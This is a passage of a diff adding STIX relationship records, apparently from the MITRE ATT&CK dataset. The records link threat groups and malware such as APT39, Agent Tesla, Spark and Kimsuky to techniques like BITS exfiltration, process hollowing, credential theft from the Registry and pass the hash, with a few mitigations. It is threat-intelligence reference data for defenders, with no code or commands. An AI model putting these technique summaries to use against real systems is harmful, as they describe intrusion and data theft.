}, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used various strains of malware to query the Registry.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--c3cef083-71f7-46ed-85c1-0b44ac24b85e", + "type": "relationship", + "modified": "2020-12-11T16:17:16.764Z", + "created": "2020-12-11T16:17:16.764Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used tools with the ability to search for files on a compromised host.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--ba65edc3-e0ef-477f-92c8-ffa2e2a943c5", + "type": "relationship", + "modified": "2020-12-11T17:03:43.696Z", + "created": "2020-12-11T17:03:43.696Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used the BITS protocol to exfiltrate stolen data from a compromised host.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--c6b51e0c-d6a8-4815-b1fe-fb065ac0bcaa", + "type": "relationship", + "modified": "2020-12-11T17:03:43.757Z", + "created": "2020-12-11T17:03:43.757Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to aggregate data prior to exfiltration.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--a538c673-e7f2-4fd0-923e-d874a3f3d363", + "type": "relationship", + "modified": "2020-12-11T17:03:43.930Z", + "created": "2020-12-11T17:03:43.930Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "external_references": [ + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used multiple backdoors which communicate with a C2 server via email attachments.(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--3632ab1c-caa3-4d65-a665-7da325f4b7ac", + "type": "relationship", + "modified": "2020-12-11T17:55:14.440Z", + "created": "2020-12-11T17:55:14.440Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." + } + ], + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday).(Citation: CISA ComRAT Oct 2020) ", + "relationship_type": "uses", + "id": "relationship--c7c1411a-42c8-4d7e-9b56-0465370759de", + "type": "relationship", + "modified": "2020-12-23T19:34:12.439Z", + "created": "2020-12-11T20:13:44.830Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has created hidden folders.(Citation: SentinelLabs Agent Tesla Aug 2020)", + "relationship_type": "uses", + "id": "relationship--98132f22-5312-421a-98f4-e1741abbcd6a", + "type": "relationship", + "modified": "2020-12-11T22:07:41.072Z", + "created": "2020-12-11T22:07:41.072Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has achieved persistence via scheduled tasks.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--946eecdd-fa23-4b5d-a992-452f50e8def8", + "type": "relationship", + "modified": "2020-12-11T22:38:18.754Z", + "created": "2020-12-11T22:38:18.754Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--216e5287-2cea-4bd0-b109-24b205f848b3", + "type": "relationship", + "modified": "2020-12-16T16:15:43.313Z", + "created": "2020-12-12T17:25:29.540Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "relationship_type": "mitigates", + "description": "Consider disabling the AlwaysInstallElevated policy to prevent elevated execution of Windows Installer packages.(Citation: Microsoft AlwaysInstallElevated 2018)", + "id": "relationship--9d44abc9-f1f3-4111-a474-7dd0b224dd46", + "external_references": [ + { + "source_name": "Microsoft AlwaysInstallElevated 2018", + "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated", + "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020." + } + ], + "type": "relationship", + "modified": "2020-12-14T18:40:45.337Z", + "created": "2020-12-14T13:06:31.206Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has exfiltrated stolen victim data through C2 communications.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--4c5f4c95-2eca-4f8d-8e7e-16f0bb323b07", + "type": "relationship", + "modified": "2020-12-14T16:43:08.811Z", + "created": "2020-12-14T16:43:08.811Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--d741a245-42ea-4bd4-bfb5-5687981e46b3", + "type": "relationship", + "modified": "2020-12-14T16:43:09.083Z", + "created": "2020-12-14T16:43:09.083Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "external_references": [ + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." + } + ], + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the cloud-based remote management and monitoring tool \"ConnectWise Control\" to deploy [REvil](https://attack.mitre.org/software/S0496).(Citation: Tetra Defense Sodinokibi March 2020)", + "relationship_type": "uses", + "id": "relationship--58a574e4-ba44-4472-92fe-c50a9a9cbb49", + "type": "relationship", + "modified": "2020-12-14T20:22:53.391Z", + "created": "2020-12-14T20:22:53.391Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from configuration or support files.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--19821013-5844-46b3-82e9-189b4df07b9d", + "type": "relationship", + "modified": "2020-12-14T21:59:38.658Z", + "created": "2020-12-14T21:59:38.658Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from the Registry.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--f2ac3f65-68d3-45d2-8aab-b2bd57036fa8", + "type": "relationship", + "modified": "2020-12-14T21:59:38.674Z", + "created": "2020-12-14T21:59:38.674Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--ddee8f55-feed-4474-b996-b80bbe5209a4", + "type": "relationship", + "modified": "2020-12-14T22:10:32.127Z", + "created": "2020-12-14T22:10:32.127Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has dropped RegAsm.exe onto systems for performing malicious activity.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--30b4b9c6-1117-4242-80c4-fd7dc7016a08", + "type": "relationship", + "modified": "2020-12-14T22:10:32.141Z", + "created": "2020-12-14T22:10:32.141Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has created scheduled tasks to persistently run VBScripts.(Citation: Unit42 Molerat Mar 2020)", + "relationship_type": "uses", + "id": "relationship--3f898155-f810-4d2c-8e30-34723d845ade", + "type": "relationship", + "modified": "2020-12-15T00:13:05.625Z", + "created": "2020-12-15T00:13:05.625Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has used msiexec.exe to execute an MSI payload.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--0da9ee24-37ac-4568-b1fc-d784f05dfc97", + "type": "relationship", + "modified": "2021-04-19T22:15:46.560Z", + "created": "2020-12-15T00:58:30.271Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has run the whoami command and has a built-in command to identify the user logged in.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--98f55ec9-3170-41ad-9bac-c921fa4a29ea", + "type": "relationship", + "modified": "2020-12-15T01:54:05.690Z", + "created": "2020-12-15T01:30:05.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) can use cmd.exe to run commands.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--52978273-355d-4043-b65e-a3e1d0b84b9e", + "type": "relationship", + "modified": "2020-12-15T01:30:05.468Z", + "created": "2020-12-15T01:30:05.468Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) can collect the hostname, keyboard layout, and language from the system.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--7f659555-cfc4-420f-8548-3a89aa1da8c9", + "type": "relationship", + "modified": "2020-12-23T16:40:34.206Z", + "created": "2020-12-15T01:30:05.479Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has used a custom XOR algorithm to decrypt the payload.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--b1a30826-465a-4342-8ceb-e0bd4ef50063", + "type": "relationship", + "modified": "2020-12-15T01:30:05.491Z", + "created": "2020-12-15T01:30:05.491Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has been packed with Enigma Protector to obfuscate its contents.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--25df53ed-4a07-4e71-8a1b-a84a2571e043", + "type": "relationship", + "modified": "2020-12-15T01:30:05.493Z", + "created": "2020-12-15T01:30:05.493Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has used HTTP POST requests to communicate with its C2 server to receive commands.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--ee98d9ef-4665-4da8-9b3c-95ff6924d8bf", + "type": "relationship", + "modified": "2020-12-15T01:30:05.489Z", + "created": "2020-12-15T01:30:05.489Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "target_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "(Citation: Unit42 Molerat Mar 2020) (Citation: Cybereason Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--0dd7e88b-aeea-4b14-a06c-becaa94f8bba", + "type": "relationship", + "modified": "2020-12-22T19:11:27.262Z", + "created": "2020-12-15T01:32:07.186Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used pass the hash for authentication to remote access software used in C2.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--80e06d13-4c96-464c-9b9f-d0cb2b5fac18", + "type": "relationship", + "modified": "2021-04-22T13:26:51.049Z", + "created": "2020-12-15T18:01:09.595Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has staged collected data files under C:\\Program Files\\Common Files\\System\\Ole DB\\.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--a535c99e-66f2-47c9-aa25-352c90efd2ff", + "type": "relationship", + "modified": "2020-12-15T18:24:57.265Z", + "created": "2020-12-15T18:24:57.265Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "subtechnique-of", + "id": "relationship--7cf1506f-3064-4d8f-ac50-ff6b9a4fd3c3", + "type": "relationship", + "modified": "2020-12-17T02:14:34.275Z", + "created": "2020-12-17T02:14:34.275Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "mitigates", + "description": "Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. 